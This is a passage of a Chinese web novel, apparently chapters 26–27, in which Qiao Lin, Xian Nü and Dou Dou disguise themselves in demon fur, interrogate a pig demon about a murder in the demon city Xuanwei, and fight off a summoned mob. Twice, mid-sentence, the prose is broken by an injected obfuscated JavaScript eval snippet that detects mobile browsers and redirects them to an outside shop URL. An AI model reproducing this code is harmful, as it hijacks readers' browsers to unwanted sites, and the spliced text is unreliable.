“我、我对不起你们，”豆豆抹着眼泪，抽噎道，“你们回地府去吧，以后有用得着豆豆的地方，上刀山下火海豆豆也在所不辞。” 乔林也很为难，她觉得听到了哥哥的话，她决不能坐视不理，但又不确定自己能做什么，就连这妖怪部落，她甚至也是在来之前的头一天才听说。 里面的人、事、物、风俗习惯……她一概不知。 但是眼睁睁的看着妖怪们弄出那样的东西为祸人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136040|196284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间，作为一个二十一世纪的青年，她也绝对做不到。 就在这时，娴女的手机响了，是谢必安，乔林的眼前和心里都跟着一亮，她第一次觉得这个名字是那样的和蔼可亲。 娴女把今天发生的事简单的和谢必安交代了一下。 “你们怎么不去找周骏驰？”谢必安问。 “这个……”娴女看了一眼乔林，可还没等她想好怎么开口，谢必安就自己续上了。 “怎么了？他们两个吵架了？”他的声音里满是幸灾乐祸。 “哈哈，我什么也没说，你自己猜的。”娴女冲着乔林眨了眨眼。 “你们继续查就行了，剩下的我来想办法。”说完就挂掉了电话。 他的话，像给两个人吃了一颗定心丸。 “知道了这样的事情，我们还是会查下去的，而且……”娴女拍了怕豆豆的脑袋，“你哥哥是被冤枉的，不是吗？” 豆豆泪眼婆娑地看着娴女，下一秒再次爆哭了起来。 等豆豆哭罢，三人开始坐在一起商量。 “抛开他买击穿符的原因，重要的其实是谁偷他的击穿符，小钱是被击穿符杀的，那偷走这个击穿符的人，大概率就是凶手。”乔林分析。 “会不会是小钱他们那伙人分赃不均，才下了杀手？”娴女说。 “我也是这么怀疑的，”乔林和娴女小击一掌，随后转头问豆豆，“你知道那些人平时在哪里活动吗？” “我说不好，那些人我们普通妖怪即便是平时看见了也要避着走，更不会去主动找了。” “那你们怎么知道他们是坏人呢？”乔林问。 “他们眼神就比一般妖怪凶狠，”豆豆面露惧色，“而且，他们还、还剃毛！好妖怪哪个剃毛还不被家里打断腿等重新长出来了再让出去。” 乔林如果不是已经坐在地上了，她一定会大摔一跤。 “那没毛的怎么办？”乔林问。 “我们玄尾部几乎都是有毛的，个别天生没毛的，大家也都能认出来，况且他们的剃毛是一片片的，和天生没毛的看着也不一样。” 这……倒是意外戳中了乔林的萌点，话说她就挺喜欢斯芬克斯的，就是那种没毛的小猫咪。 不过小动物可爱一半来源于它们小，一半来源于他们眼神清澈。 这妖怪城里的妖怪各个人高马大，眼神凶恶，和萌真是一点也不沾边。 此时妖怪城的天空已经由黑转灰，路上也开始逐渐有了来往的脚步声。 “咱们出去碰碰运气，看看能不能找到那些干坏事儿的妖怪。” “你们两个这样太招摇了，肯定会招来麻烦，要不你们伪装一下？”豆豆怯怯地提出了自己的看法。 “怎么伪装？”娴女看了看一眼能望到头的屋子，根本没有能拿来用的东西。 乔林说：“交给我吧。” 随即变出两套兽装和一件黑色披风。 “你会以虚化实？”娴女大吃一惊。 “是，但是是有时限的，差不多一个小时，这会儿咱们得出去弄一点不会消失的真东西来。” 27. 猪妖 “这里有没有这样的地方？” 乔林用手比了个剪刀的样子，在自己脑袋上溜达了两圈。 “有！”豆豆瞬间明白了她的意思。 三人一人拿了一个布口袋，套上披风便出门了。 在玄尾城中央理发店后门的垃圾桶里翻了翻，果真，全是妖怪的毛发，只是味道上有些让人难以接受，脏且不说，一股动物的骚臭味，让乔林和娴女直作呕。 回到家后，三人分工行动，豆豆用仅剩的面粉熬起了浆糊，而乔林和娴女则开始浆洗捡回来的毛发。 洗完乔林又变出火盆和架子，将毛发上的水分烘干。 浆糊熬好也晾凉了，毛发也干得差不多了，两人一点一点的把毛贴在衣服外裸露的皮肤上。 豆豆毕竟是本地妖，更熟悉这里的妖怪都长什么样子，又拿来稻便草熟练地扎成耳朵和这嘴巴的样子，贴上毛发再用绳子绑到二人的脸上、头上。 别说，贴完两人对视了一眼，还真挺像那么回事。 这一看不要紧，娴女噗嗤笑出了声，乔林本来没想笑，可看到娴女一笑，也忍不住笑出了声，两人只得别过头去不看对方。 整装完毕，下一步就是验证成果了。 也亏得玄尾城位于永夜，即便是白天也黑漆漆的，与晚上的区别仅仅在于深黑浅黑罢了。 而且这里的居民不知道是不是总也吃不饱的缘故，走路时多半垂头耷拉脑的沿着街边走。 所以倒也没人注意到这三人。 他们在玄尾城的小巷里来回溜达，试图寻找那些地痞的踪迹。 可这来回绕了得有两三个小时，一个疑似地痞的人影也没看到。 三人累得坐在小巷边的石头上，一言不发。 “兄弟，借点钱花花呗。”这粗犷的声音，从身后幽□□仄的小巷响起。 三人的眼泪差点感动的流出来，这叫什么？这叫踏破铁鞋无觅处，得来全不费工夫。 娴女憋不住，一边嘿嘿笑着，一边回头看向声音的来源。 将毛发剃成了狗啃似的猪妖也是第一次见被打劫的人不怕反笑的，那好似奸计得逞的笑声，让他不由头皮发麻，后退了一步。 但仔细一看，对方不过是三只瘦弱的小妖，便又觉得是自己多心了，这只小妖疯了也说不定呢，那正好，盘剥完了捆起来卖掉，又是一笔收入。 “赶紧的，别逼我动手，你们还能少些皮肉之苦。”嘴上说着别逼他动手，但叫上没耽误，一步步的朝着三人走来。 “这怎么办？”乔林有点苦恼，小声嘀咕，“本来咱们不是计划跟踪吗？这送上门来了，要不咱们先跑？等他……” 可还没等乔林说完，娴女已经冲上前去，一记扫堂腿，将猪妖撂倒在地。 “跑什么？捉回去审就完了。” 那猪妖皮糙肉厚，又有丰富的实战经验，被撂倒后利落地站了起来，从背后抽出一把大砍刀，就朝着娴女扑了上来。 娴女不退反进，灵活地侧滑半步，对方的大刀就贴着她的身侧砍到了地上。 那猪妖一击落空，庞大的身体被惯性向前推去，刀还插在地上，脸也跟着着了地。 娴女抓住这破绽，迅速转身腾空，依靠自身重量用手肘狠击对方头部。 只听“邦”的一声，原本呈n型趴在地上的猪妖，缓缓瘫成了一字型。 娴女拍了拍手上并不存在的灰尘，对二人说：“搞定。” 乔林张了张嘴，将原本到了嘴边的提醒和战术安排，全都咽回了肚子里，对着娴女竖起了大拇指。 三人本商量着要把这猪妖抬到一个安全点的地方，但实在是心有余而力不足，这猪妖起码有四百斤，只得将他“就地正法”。 乔林从口袋里掏出绳子，三人合力将那猪妖捆了个结结实实。 还好三人动作利落，刚捆好，那猪妖便醒了过来，一只指甲盖大小的蜘蛛从他手心里钻了出来，跑向了黑暗的深处。 “你们是什么人？”猪妖毕竟是干惯了坏事的，虽然此刻被绑着，说话倒也算沉着，“你们不是玄尾城的人。” “轮不到你提问，我来问你，”娴女把胳膊拄在和她差不多高的大刀上，一只脚踩在猪妖的胸口，“还是你来问吧。” 乔林被点到名，脑子里瞬间闪过无数个问题，一时拿不定主意要先问哪个。 她清了清嗓子，“你们认不认识一个叫小钱的妖怪？” “小钱？”那猪妖做思考状，“没听说过，是什么妖？” “一只豹妖。”豆豆小声提醒。 “豹妖？没印象。”那猪妖不以为意地摇了摇头，显然他没有把这几个人太当回事。 娴女见他这个态度，一把把插在地上的大刀拔了出来，将刀尖对准了猪妖的胸口。 可对方仍然是一副嬉皮笑脸的模样。 “你们不是玄尾城的妖怪，敢在这里杀人？不怕有命来，没命走吗？” 说话间他朝着几人狂吼一声，一股腥臭的风如尖刀般刺向三人。 风割破了她们的衣袖，也将脸上伪装的毛发吹了个七零八落。 “你们是地府的人？”看到她们露出的皮肤，猪妖有些震惊，眼珠子上下乱翻，不知道在琢磨什么。 “少废话。”娴女手上一用力，大刀的刀尖直直的插进了猪妖的胸口，一时间鲜血涌出，喷了娴女一脸。 她狭长的凤眼恶狠狠的看着猪妖，配合散乱的杂毛和鲜血，竟有种说不出的恐怖。 “既然知道我们是地府的人，就给我老实交代，”娴女拔出大刀，“你知道的，要说言行逼供，想必没人比我们更拿手了。” 也是，上刀山、下油锅，鼠啃狗咬，随便临出哪一项都足以让人两股战战。 “我说我说，”猪妖看她要来真的，态度瞬间软了下来，“小钱，我认识，但是他已经死了，你们还找他做什么？” “谁杀的他？”乔林问道。 “犯人不是都被抓住了吗？” “放屁！”娴女照着猪妖的门面就是一脚。 “各位好汉，我是真不知道，我和他只是见过两面……”猪妖的鼻子歪到了一边，哭丧着脸回答。 “那我问你，平时你们的人里谁和小钱走的最近？”乔林问道。 “谁……谁……”猪妖眼珠子乱转。 “谁？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136041|196284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ！”娴女见他不言语，提起刀照着他的门面就砍了下去。 “是牛吞！” 刀停留在距离猪妖额头两公分处停下，几缕头上的杂毛簌簌落了他一脸。 “牛吞……”娴女慢悠悠地收回了刀。 “牛吞在哪儿？”乔林继续问道。 “我不清楚……”猪妖话还没说完，娴女作势又要提刀，“各位好汉，我是真不知道，我也有些日子没见着他了，我只知道他经常在黑河酒馆吃酒。” 乔林和娴女对视了一眼，算是认可了他的答案。 “那你告诉我，为什么你这些日子没见着他？是他不见了还是？”乔林问。 “我、我，”猪妖瞄了眼娴女，“我出任务，没在玄尾城。” “任务？什么任务？”娴女恶狠狠地问道。 “就是些没人管的小妖怪……”猪妖喃喃道。 “卖给谁？”乔林问。 “你杀了我我也不能说，你们杀我，起码我还能死个痛快。” 猪妖认命地闭上了眼睛，随着他眼睛一闭，周遭越发得黑了起来。 本以为他是用了什么妖法，但左右一看，这才明白，这猪妖用的是“召唤术”。 巷子的两头密密麻麻的站满了五光十色的妖怪，大的小的高的矮的，唯一相同的地方，就是身上都带有一块块不同形状的“斑秃”。 “这下麻烦了。”乔林再一次掏出了“野牛”和娴女背对背，看着巷口一步步逼近的妖群。 随即，一连串震耳欲聋的枪响在狭窄的巷子里炸开。 这妖怪们大多没去过现世，哪见过这阵仗，看着前排几只那只豹子精看着身上的血窟窿，以为对方用了什么不知道的法术，只是这法术怎这般厉害，没见她结印拿符的，怎么能爆发出这么大的威力？ 他身后的几只小妖也下意识顿住了脚步，眼中露出惊恐之色。 乔林见攻击有效，继续扣动扳机，为首的几只妖怪纷纷找地方躲藏。 妖群中子弹穿透皮肤的闷响中忽然传来了两声金石之音，连闪了两颗火星。 紧接着一只穿山甲冲到了最前排，这穿山甲卷成一团，直冲着乔林滚了过来。 而另一边，娴女手起刀落，几只前排的小妖早已身首分离。 只是这大刀对于娴女来说还是有点沉了，她挥动得越发吃力。 “娴女过来！”乔林冲着娴女喊了一声。 乔林躲过穿山甲的攻击，拽起一旁抖如筛糠的豆豆，朝着娴女跑去，娴女也一边厮杀一边朝着乔林这边靠过来。 “抓紧我！”三人终于再次碰头。 娴女毫不犹豫地搂住了乔林的腰。 乔林手里窜出一条粗粗的藤蔓，挂在了小巷上乱搭的架子上。 “靠！还能这么用，你也太天才了！”娴女喊道。 两人一个助跑，高高的荡了起来。 可还没等她们飞过妖群，天空中一个黑影就直奔了藤蔓缠绕的架子。 是一只飞鼠。 藤蔓被飞鼠一口咬断，三人重重地跌落在了地上，豆豆更是直接摔晕了过去。 妖怪们也迅速地围了上来。